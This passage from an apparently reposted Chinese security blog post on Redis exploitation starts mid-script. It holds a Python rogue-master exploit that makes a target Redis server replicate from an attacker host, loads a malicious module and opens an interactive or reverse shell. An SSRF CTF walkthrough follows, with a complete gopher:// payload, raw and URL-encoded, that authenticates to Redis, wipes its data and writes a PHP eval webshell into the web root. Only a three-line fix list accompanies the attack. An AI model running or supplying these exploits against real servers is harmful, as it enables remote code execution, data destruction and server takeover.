            phase = 3
        return resp, phase

    def exp(self):
        cli, addr = self._sock.accept()
        while True:
            data = din(cli, 1024)
            if len(data) == 0:
                break
            resp, phase = self.handle(data)
            dout(cli, resp)
            if phase == 3:
                break

def interact(remote):
    info("Interact mode start, enter \"exit\" to quit.")
    try:
        while True:
            cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
            if cmd == "exit":
                return
            r = remote.shell_cmd(cmd)
            for l in decode_shell_result(r).split("\n"):
                if l:
                    print("\033[1;34;40m[>>]\033[0m " + l)
    except KeyboardInterrupt:
        pass

def reverse(remote):
    info("Open reverse shell...")
    addr = input("Reverse server address: ")
    port = input("Reverse server port: ")
    dout(remote, encode_cmd(f"system.rev {addr} {port}"))
    info("Reverse shell payload sent.")
    info(f"Check at {addr}:{port}")

def cleanup(remote):
    info("Unload module...")
    remote.do("MODULE UNLOAD system")

def runserver(rhost, rport, lhost, lport):
    # expolit
    remote = Remote(rhost, rport)
    info("Setting master...")
    remote.do(f"SLAVEOF {lhost} {lport}")
    info("Setting dbfilename...")
    remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
    sleep(2)
    rogue = RogueServer(lhost, lport)
    rogue.exp()
    sleep(2)
    info("Loading module...")
    remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
    info("Temerory cleaning up...")
    remote.do("SLAVEOF NO ONE")
    remote.do("CONFIG SET dbfilename dump.rdb")
    remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
    rogue.close()

    # Operations here
    choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
    if choice.startswith("i"):
        interact(remote)
    elif choice.startswith("r"):
        reverse(remote)

    cleanup(remote)

if __name__ == '__main__':
    print(BANNER)
    parser = OptionParser()
    parser.add_option("--rhost", dest="rh", type="string",
            help="target host", metavar="REMOTE_HOST")
    parser.add_option("--rport", dest="rp", type="int",
            help="target redis port, default 6379", default=6379,
            metavar="REMOTE_PORT")
    parser.add_option("--lhost", dest="lh", type="string",
            help="rogue server ip", metavar="LOCAL_HOST")
    parser.add_option("--lport", dest="lp", type="int",
            help="rogue server listen port, default 21000", default=21000,
            metavar="LOCAL_PORT")
    parser.add_option("--exp", dest="exp", type="string",
            help="Redis Module to load, default exp.so", default="exp.so",
            metavar="EXP_FILE")
    parser.add_option("-v", "--verbose", action="store_true", default=False,
            help="Show full data stream")

    (options, args) = parser.parse_args()
    global verbose, payload, exp_mod
    verbose = options.verbose
    exp_mod = options.exp
    payload = open(exp_mod, "rb").read()

    if not options.rh or not options.lh:
        parser.error("Invalid arguments")

    info(f"TARGET {options.rh}:{options.rp}")
    info(f"SERVER {options.lh}:{options.lp}")
    try:
        runserver(options.rh, options.rp, options.lh, options.lp)
    except Exception as e:
        error(repr(e))

還有Lua RCE,利用反序列化攻擊redis的,可以看Paper

為什么最近一些公眾號也在發redis,這也撞了哈哈

修復方法:

1、禁止使用root權限啟動redis服務。
2、對redis訪問啟動密碼認證。
3、添加IP訪問限制,並更改默認6379端口

參考鏈接:

https://paper.seebug.org/1169/#rce

https://joychou.org/web/phpssrf.html

http://www.91ri.org/17111.html

https://xz.aliyun.com/t/1800

https://xz.aliyun.com/t/5616

https://xz.aliyun.com/t/5665#toc-13

https://blog.csdn.net/qq_41107295/article/details/103026470

https://blog.csdn.net/fly_hps/article/details/80937837

https://www.runoob.com/redis/redis-commands.html

 

工具:

https://xz.aliyun.com/t/5844

github搜索gopherus

 

環境:

docker部署(自己在里面安裝需要的):https://github.com/justonly1/DockerRedis/blob/master/redis/Dockerfile

centos7,kali的自行搭建

補充:SSRF認證攻擊

之前看到一道CTF題目,當時一臉懵沒有做出來,后來公告提示是需要打有弱密碼的redis,涉及到認證的環節,這里一起復現研究一下

首先配置環境

還是之前的redis環境,修改下/etc/redis.conf,將未授權修改為需要認證

sed -i "s/#requirepass 123123/requirepass 123456/g" /etc/redis.conf

然后重啟容器,讓他以更新完的redis.conf運行server端

看下之前的CTF題目

<?php 
$url = $_GET['url'];
if(!isset($url)){
    highlight_file(__FILE__);
}
if(stripos($url,'file')!==False)
{
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
?>

過濾了file,提示需要打有弱密碼的redis,這里可以想到用gopher打很容易,但是這是認證的,於是掏出來之前看了但是沒復現的Smi1e寫的文章

=>淺析SSRF認證攻擊Redis

這里先去獲取下認證的過程中的命令

socat轉發抓流量

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

容器中redis客戶端連接4444端口,執行寫shell的命令

 

 

 

查看抓到的數據流

root@1723dfb0f3f9:/# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2020/09/16 15:26:06.144734  length=26 from=0 to=25
*2\r
$4\r
AUTH\r
$6\r
123456\r
< 2020/09/16 15:26:06.146383  length=5 from=0 to=4
+OK\r
> 2020/09/16 15:26:06.146542  length=18 from=26 to=43
*1\r
$8\r
flushall\r
< 2020/09/16 15:26:06.169564  length=5 from=5 to=9
+OK\r
> 2020/09/16 15:26:39.866436  length=26 from=0 to=25
*2\r
$4\r
AUTH\r
$6\r
123456\r
< 2020/09/16 15:26:39.866607  length=5 from=0 to=4
+OK\r
> 2020/09/16 15:26:39.866721  length=54 from=26 to=79
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
< 2020/09/16 15:26:39.871197  length=5 from=5 to=9
+OK\r
> 2020/09/16 15:27:10.840838  length=26 from=0 to=25
*2\r
$4\r
AUTH\r
$6\r
123456\r
< 2020/09/16 15:27:10.841079  length=5 from=0 to=4
+OK\r
> 2020/09/16 15:27:10.841502  length=60 from=26 to=85
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$11\r
yunying.php\r
< 2020/09/16 15:27:10.841636  length=5 from=5 to=9
+OK\r
> 2020/09/16 15:28:04.747701  length=26 from=0 to=25
*2\r
$4\r
AUTH\r
$6\r
123456\r
< 2020/09/16 15:28:04.747917  length=5 from=0 to=4
+OK\r
> 2020/09/16 15:28:04.748031  length=45 from=26 to=70
*3\r
$3\r
set\r
$1\r
x\r
$18\r
<?php eval([a]);?>\r
< 2020/09/16 15:28:04.748136  length=5 from=5 to=9
+OK\r
> 2020/09/16 15:28:12.665580  length=26 from=0 to=25
*2\r
$4\r
AUTH\r
$6\r
123456\r
< 2020/09/16 15:28:12.665823  length=5 from=0 to=4
+OK\r
> 2020/09/16 15:28:12.665946  length=14 from=26 to=39
*1\r
$4\r
save\r
< 2020/09/16 15:28:12.671319  length=5 from=5 to=9
+OK\r

可以發現每次帶上密碼認證連接然后執行命令都會掉上這一段

*2\r
$4\r
AUTH\r
$6\r
123456\r

從Smi1e的師傅里有介紹redis的一個特性

Redis客戶端支持管道操作,可以通過單個寫入操作發送多個命令,而無需在發出下一個命令之前讀取上一個命令的服務器回復。所有的回復都可以在最后閱讀
這也是Redis在認證情況下依然可以被攻擊到原因。

因此我們只需要在開頭加上這一段認證的數據流,gopher協議一樣可以打需要認證的弱密碼redis服務器

首先通過gopherus生成exp

然后再開頭添加上urlencode后的認證數據流,以RESP協議的格式

gopher://127.0.0.1:6379/_*2
$4
AUTH
$6
123456
*1
$8
flushall
*3
$3
set
$1
1
$28


<?php eval($_POST[a]);?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%246%0D%0A123456%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再容器中測試

成功寫入shell.php

遠程測試成功執行

Redis客戶端支持管道操作,可以通過單個寫入操作發送多個命令,而無需在發出下一個命令之前讀取上一個命令的服務器回復。所有的回復都可以在最后閱讀
這也是Redis在認證情況下依然可以被攻擊到原因。

補充:通過CVE-2019-9740攻擊redis

CTF相關題目

漏洞詳情

CRLF

 

https://www.mi1k7ea.com/2020/03/09/Python-urllib-CRLF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%B0%8F%E7%BB%93/#Redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM